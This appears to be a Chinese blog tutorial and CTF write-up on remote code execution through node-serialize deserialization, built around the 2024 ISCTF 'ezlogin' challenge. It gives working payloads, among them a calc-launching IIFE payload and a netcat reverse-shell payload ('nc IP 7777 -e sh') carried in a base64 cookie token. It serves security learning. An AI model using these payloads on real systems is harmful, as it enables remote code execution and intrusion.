0%

Node.js|node-serialize序列化与反序列化

前言:

第一次碰到,做2024isctf碰到的一题node-serialize反序列化,之前已经写了一篇pickle反序列化了就顺带再写一篇

一、node-serialize模块

node-serialize 是一个用于 JavaScript 和 Node.js 的第三方模块,它的主要作用是提供一种更灵活的序列化和反序列化对象的方法,特别是对于那些不能用标准 JSON 序列化的对象。

安装模块:npm install node-serialize

本文利用的IDE:WebStorm

二、序列化与反序列化

与php序列化和反序列化相似

  • 序列化:serialize()将复杂的对象转化为字符串,便于存储和传输

    1
    2
    3
    4
    5
    6
    7
    8
    9
    var obj = {		//定义一个对象obj
    execCalc: function(){ //定义一个方法execCalc
    require('child_process').exec('calc', function(error, stdout, stderr){ console.log(stdout) }); //调用child_process模块执行系统命令calc。回调函数将接收执行的结果或错误信息,如果执行成功,stdout将包含命令输出。
    }
    };
    var s = require('node-serialize'); //定义一个对象s并调用node-serialize模块
    console.log(s.serialize(obj)); //调用node-serialize模块里的serialize方法,并打印序列化结果

    //{"execCalc":"_$$ND_FUNC$$_function(){\r\n require('child_process').exec('calc', function(error, stdout, stderr){ console.log(stdout) });\r\n }"}
  • 反序列化:unserialize()将字符串转化为对象

    1
    2
    3
    4
    5
    var s = require('node-serialize');

    var payload = '{"execCalc":"_$$ND_FUNC$$_function(){\\r\\n require(\'child_process\').exec(\'calc\', function(error, stdout, stderr){ console.log(stdout) });\\r\\n }"}' //_$$ND_FUNC$$_为特殊标识符

    s.unserialize(payload);

三、child_process模块

上面提到一个child_process模块

child_process创建子进程主要的方式与popen类似但是不相同,主要依靠child_process.spawn()

child_process提供了两种创建子进程的方式:

  • 异步方式:child_process.spawn(command[, args][, options])
  • 同步方式:child_process.spawnSync(command[, args][, options])

异步方式不会阻塞 Node.js 事件循环

同步方式提供等效的功能,但会阻塞事件循环,直到衍生的进程退出或终止。

为了方便,nodejs提供了一些同等作用的替代方法

  • 异步:

    child_process.exec(command[, options][, callback]):衍生 shell 并在该 shell 中执行命令,完成后将stdoutstderr传给回调函数。

    child_process.execFile(file[, args][, options][, callback]):直接衍生命令并在可执行文件中执行,而不先衍生 shell,比child_process.exec()更有效率。

    child_process.fork(modulePath[, args][, options]):衍生新的 Node.js 进程并使用建立的 IPC 通信通道(其允许在父子进程之间发送消息)调用指定的模块。

  • 同步:

    child_process.execSync(command[, options]):与child_process.exec()作用等效,但会阻塞 Node.js 事件循环。

    child_process.execFileSync(file[, args][, options]):与child_process.execFile()作用等效,但会阻塞 Node.js 事件循环。

对于自动化脚本来说,同步方式更为方便。但是,在许多情况下,同步方式在衍生的进程完成前才会停止事件循环,所以会对性能产生重大影响。

具体函数的使用方法参考:Node.js v22.12.0 文档

四、漏洞利用

RCE

当然想要命令执行的话,单用serialize()和unserialize()函数无法进行命令执行执行。还需要利用IIFE。

IIFE(Immediately Invoked Function Expression):立即调用的函数表达式,即声明函数的同时立即调用该函数,目的是为了隔离作用域,防止污染全局命名空间。

1
2
(function(){<code>}());
(function(){<code>})();

弹计算器:

1
2
3
(function() {
require('child_process').exec('calc', function(error, stdout, stderr){ console.log(stdout) });
}());

反序列化弹计算器:

1
2
3
4
5
var s = require('node-serialize');

var payload = '{"execCalc":"_$$ND_FUNC$$_function(){\\r\\n require(\'child_process\').exec(\'calc\', function(error, stdout, stderr){ console.log(stdout) });\\r\\n }()"}'

s.unserialize(payload);

五、例题

2024isctf ezlogin

下载源码后审计,可以发现反序列化的漏洞点

1
2
3
4
5
6
7
8
9
10
11
function auth(req, res, next) {		//定义一个auth并接收三个参数
if(req.cookies.token){ //检查cookie值里有没有token
const user = serialize.unserialize(Buffer.from(req.cookies.token,'base64').toString()); //定义一个变量user,将base64解密后的token值反序列化后赋给user
if (!user.username) { //如果user对象没有username这个属性则cookie无效返回login界面
return res.status(401).redirect('/login');
}
}else{
return res.status(401).redirect('/login');
}
next();
}

找到触发反序列化的地方cookie

开始构造payload

1
_$$ND_FUNC$$_function (){require('child_process').exec('nc IP 7777 -e sh');}()

服务器端:nc -lvvp 7777

先用这个payload当用户名注册一下,然后登入即可反弹shell

根据代码此时的token为

1
2
3
4
{
"username": "_$$ND_FUNC$$_function (){require('child_process').exec('nc -e IP 7777 sh');}()",
"isAdmin": false
}

但是这题的复现环境不知道怎么回事,就是弹不成,用nc、bash都弹不成不知道是什么问题,看了好几篇wp都是这种做法太奇怪了

参考资料:

https://nodejs.cn/api/child_process.html

https://www.anquanke.com/post/id/85458

https://threezh1.com/2020/01/30/NodeJsVulns/#node-serialize%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96RCE%E6%BC%8F%E6%B4%9E-CVE-2017-5941

http://www.mi1k7ea.com/2020/03/29/node-serialize%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#0x04-IIFE